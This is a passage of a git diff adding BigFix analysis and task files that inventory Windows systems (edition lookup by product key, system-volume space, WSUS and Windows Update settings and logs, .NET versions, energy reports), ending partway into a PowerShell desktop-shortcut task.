JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, &quot;&amp;&quot;Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, &quot;&amp;&quot;Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, &quot;&amp;&quot;Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, &quot;&amp;&quot;Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, &quot;&amp;&quot;Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, &quot;&amp;&quot;Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, &quot;&amp;&quot;Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes b/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes
new file mode 100644
index 000000000..090a23155
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows System Volume Size & Usage (2994588).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows System Volume Size & Usage
+  ID       : 2994588
+  Author   : JasonWalker
+  Domain   : SYST
+  Imported : 2013-10-21T14:03:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows System Volume Size &amp; Usage</Title>
+    <Description><![CDATA[This Analysis was created to determine the existance, size, and free space of the Windows System Volume.&nbsp; Normally this is a dedicated partition with no drive letter assigned. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 21 Oct 2013 20:59:36 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <Property ID="1" Name="Volume Label" EvaluationPeriod="P1D">((if exists string value of properties &quot;Label&quot; of it then string value of properties (&quot;Label&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="2" Name="Drive Letter" EvaluationPeriod="P1D">((if exists string value of properties &quot;DriveLetter&quot; of it then string value of properties (&quot;DriveLetter&quot;) of it else &quot;&lt;none&gt;&quot;)) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="3" Name="Capacity" EvaluationPeriod="P1D">((string value of property &quot;Capacity&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="4" Name="Free Space" EvaluationPeriod="P1D">((string value of property &quot;FreeSpace&quot; of it as integer / 1024 / 1024) as string &amp; &quot; MB&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+    <Property ID="5" Name="Free %" EvaluationPeriod="PT12H">((string value of property &quot;FreeSpace&quot; of it as floating point / string value of property &quot;Capacity&quot; of it as floating point * 100) as integer as string &amp; &quot; percent free&quot;) of (select objects (&quot;Label,DriveLetter, Capacity,FreeSpace from Win32_Volume WHERE SystemVolume=&apos;True&apos;&quot;) of WMI)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes
new file mode 100644
index 000000000..7844624cd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update & WSUS Audit (69).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update & WSUS Audit
+  ID       : 69
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-11T10:03:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update &amp; WSUS Audit</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 11 Dec 2012 15:57:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Last Windows Update Success" EvaluationPeriod="P2D">if(not exists value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry) then &quot;No Windows Updates installed&quot; else (value &quot;LastSuccessTime&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\Results\Install&quot; of native registry as string)</Property>
+    <Property ID="2" Name="SusClientId" EvaluationPeriod="P2D">if(not exists value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry) then &quot;No SUS ID&quot; else (value &quot;SusClientId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate&quot; of native registry as string)</Property>
+    <Property ID="3" Name="WSUS" EvaluationPeriod="P2D">if(not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry OR not exists value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry) then &quot;n/a&quot; else (value &quot;WUServer&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string)</Property>
+    <Property ID="4" Name="Windows Install Date" EvaluationPeriod="P1D">((value &quot;InstallDate&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as integer) * second) + (&quot;01 Jan 1970 00:00:00&quot; as local time)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes
new file mode 100644
index 000000000..8cb09642e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update - WUSA - Errors while Installing Updates (2998673).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update - WUSA - Errors while Installing Updates
+  ID       : 2998673
+  Author   : orbiton
+  Domain   : BESC
+  Imported : 2022-04-23T20:35:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update - WUSA - Errors while Installing Updates</Title>
+    <Description>Windows Update - WUSA - Errors while Installing Updates</Description>
+    <Relevance>exists records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 10 Jan 2022 10:06:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="WUSA Errors">(time generated of it, &quot;Record ID:&quot; &amp; record number of it as string, &quot;Event ID:&quot; &amp; event id of it as string, description of it) of records whose (source of it = &quot;Microsoft-Windows-WUSA&quot; and event id of it = 3) of event log &quot;Setup&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes
new file mode 100644
index 000000000..256295b0d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Update check results - Windows (2998507).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Update check results - Windows
+  ID       : 2998507
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-12-23T15:40:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Update check results - Windows</Title>
+    <Description><![CDATA[<P>This analysis reads the results from this action: <A href="https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>exists files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Dec 2016 23:28:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="numUpdates" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Software&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="3" Name="numDrivers" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Driver&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="4" Name="numTotal" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Number&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="6" Name="numHidden" EvaluationPeriod="PT12H">(it as integer) of keys &quot;Hidden&quot; of sections &quot;Windows Updates&quot; of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="7" Name="last check for updates" EvaluationPeriod="PT12H">modification times of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+    <Property ID="8" Name="list of updates" EvaluationPeriod="P2D">unique values of (it as trimmed string) of following texts of firsts &quot;=&quot; of variables whose(it starts with &quot;[Windows Updates].Software&quot; AND it does not start with &quot;[Windows Updates].Software=&quot; AND it does not contain &quot;=Definition Update for Windows Defender&quot; AND it does not contain &quot;=Microsoft Silverlight (&quot;) of files &quot;results_WindowsUpdates.ini&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes
new file mode 100644
index 000000000..618f8dd32
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Updates - Windows (2998397).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Updates - Windows
+  ID       : 2998397
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2016-09-13T16:49:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Updates - Windows</Title>
+    <Description><![CDATA[Provides the current configuration of WSUS on the target system
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="WSUS - Client Group - Windows" EvaluationPeriod="P1D">values &quot;TargetGroup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
+    <Property ID="2" Name="WSUS - Update Server - Windows" EvaluationPeriod="P1D">values &quot;WUServer&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry</Property>
+    <Property ID="3" Name="WSUS - Automatic Update Method - Windows" EvaluationPeriod="P1D">(if (it = &quot;2&quot;) then (&quot;Notify before download.&quot;) else (if (it = &quot;3&quot;) then (&quot;Automatically download and notify of installation.&quot;) else (if (it = &quot;4&quot;) then &quot;Automatic download and scheduled installation&quot; else (if (it = &quot;5&quot;) then &quot;Automatic Updates is required, but end users can configure it.&quot; else ERROR &quot;Value not recognized&quot;)))) of (value &quot;AUOptions&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry as string)</Property>
+    <Property ID="4" Name="WSUS - Minor Updates Silent Installation - Windows" EvaluationPeriod="P1D">if (value &quot;AutoInstallMinorUpdates&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
+    <Property ID="5" Name="WSUS - Automatic Update State - Windows" EvaluationPeriod="P1D">if (value &quot;NoAutoUpdate&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
+    <Property ID="6" Name="WSUS - No Reboot with Logged On User - Windows" EvaluationPeriod="P1D">(if (it = &quot;-1&quot;) then (&quot;Not Configured&quot;) else (if (it = &quot;0&quot;) then &quot;Disabled&quot; else (if (it = &quot;1&quot;) then &quot;Enabled&quot; else ERROR &quot;Unknown Value&quot;))) of (value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes
new file mode 100644
index 000000000..f03f7f572
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Upgrades
+  ID       : 2998608
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2020-04-08T09:51:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Upgrades</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exist file &quot;C:\in_place_upgrade\out.log&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 08 Apr 2020 16:50:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Upgrade Exit Code">if exist file &quot;C:\in_place_upgrade\out.log&quot; then line 1 of file &quot;C:\in_place_upgrade\out.log&quot; else &quot;N/A&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes b/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes
new file mode 100644
index 000000000..86ede7371
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WindowsUpdate.log Audit - Windows
+  ID       : 2995914
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-29T12:02:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WindowsUpdate.log Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files &quot;WindowsUpdate.log&quot; whose( exists lines of it AND not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot; OR it contains &quot;Checking write access&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Mar 2016 19:01:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Last 100 lines of WindowsUpdate.log" EvaluationPeriod="P2D">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;WindowsUpdate.log&quot; whose( not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes b/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes
new file mode 100644
index 000000000..ceb2f5f4f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : .NET Framework
+  ID       : 2994589
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T13:05:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>.NET Framework</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Mar 2013 20:07:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="v2.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v2.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v2.0&quot;) of it) of native registry</Property>
+    <Property ID="2" Name="v2.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v2.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="3" Name="v3.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.0&quot;) of it) of native registry</Property>
+    <Property ID="4" Name="v3.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="5" Name="v3.5 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.5&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.5&quot;) of it) of native registry</Property>
+    <Property ID="6" Name="v3.5 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.5&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="7" Name="v4 Client Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it) of native registry</Property>
+    <Property ID="8" Name="v4 Full Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it) of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes b/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes
new file mode 100644
index 000000000..3003dde29
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes	
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : powercfg energy report - Windows
+  ID       : 2994793
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T11:37:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>powercfg energy report - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 28 Mar 2014 19:10:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="energy-report Files" EvaluationPeriod="P2D">pathnames of files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes b/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes
new file mode 100644
index 000000000..6edb92fef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes	
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : AAC - Create a Public Desktop Shortcut for all users on Windows
+  ID       : 25073
+  Author   : kapax
+  Domain   : BESC
+  Imported : 2018-02-08T09:22:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>AAC - Create a Public Desktop Shortcut for all users on Windows</Title>
+    <Description><![CDATA[<P>Uses Powershell to create&nbsp;a public destop shortcut that works on most modern Windows systems (those&nbsp;supported by&nbsp;powershell)</P>
+<P>When prompted you can provide an application full path or an URL:</P>
+<P dir=ltr>URL example </P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P dir=ltr><A href="https://bigfix.me/"><FONT color=#000080>https://bigfix.me</FONT></A></P></BLOCKQUOTE>
+<P dir=ltr>Application example: </P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P dir=ltr><STRONG><EM>C:\Program Files\Notepad++\notepad++.exe</EM></STRONG></P></BLOCKQUOTE>
+<P dir=ltr>When prompted for the name you can enter any valid filename (<STRONG>Warn</STRONG>: no checks are done)</P>
+<P dir=ltr><STRONG><FONT color=#ff0000>Note: </FONT></STRONG>If you use the same name of an existing Public Desktop&nbsp;shortcut, it will be replaced. If you use the same name of a Private Desktop shortcut, two shortcuts will exist&nbsp;on&nbsp;User's desktop.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; whose (exists value &quot;Path&quot; of it) of native registry</Relevance>
+    <Category>Utility</Category>
+    <Source>andrea.capasso@hcl.com</Source>
+    <SourceReleaseDate>2018-02-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Feb 2018 17:22:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "TargetURL" with description "Enter the URL or the ApplicationFullPath pointed by the Shortcut (for example: C:\Program Files\Notepad++\notepad++.exe )" and with default value "http://bigfix.me"
+action parameter query "ShortcutName" with description "Enter the Name of the Desktop Shortcut" and with default value "Bigfix_Me"
+
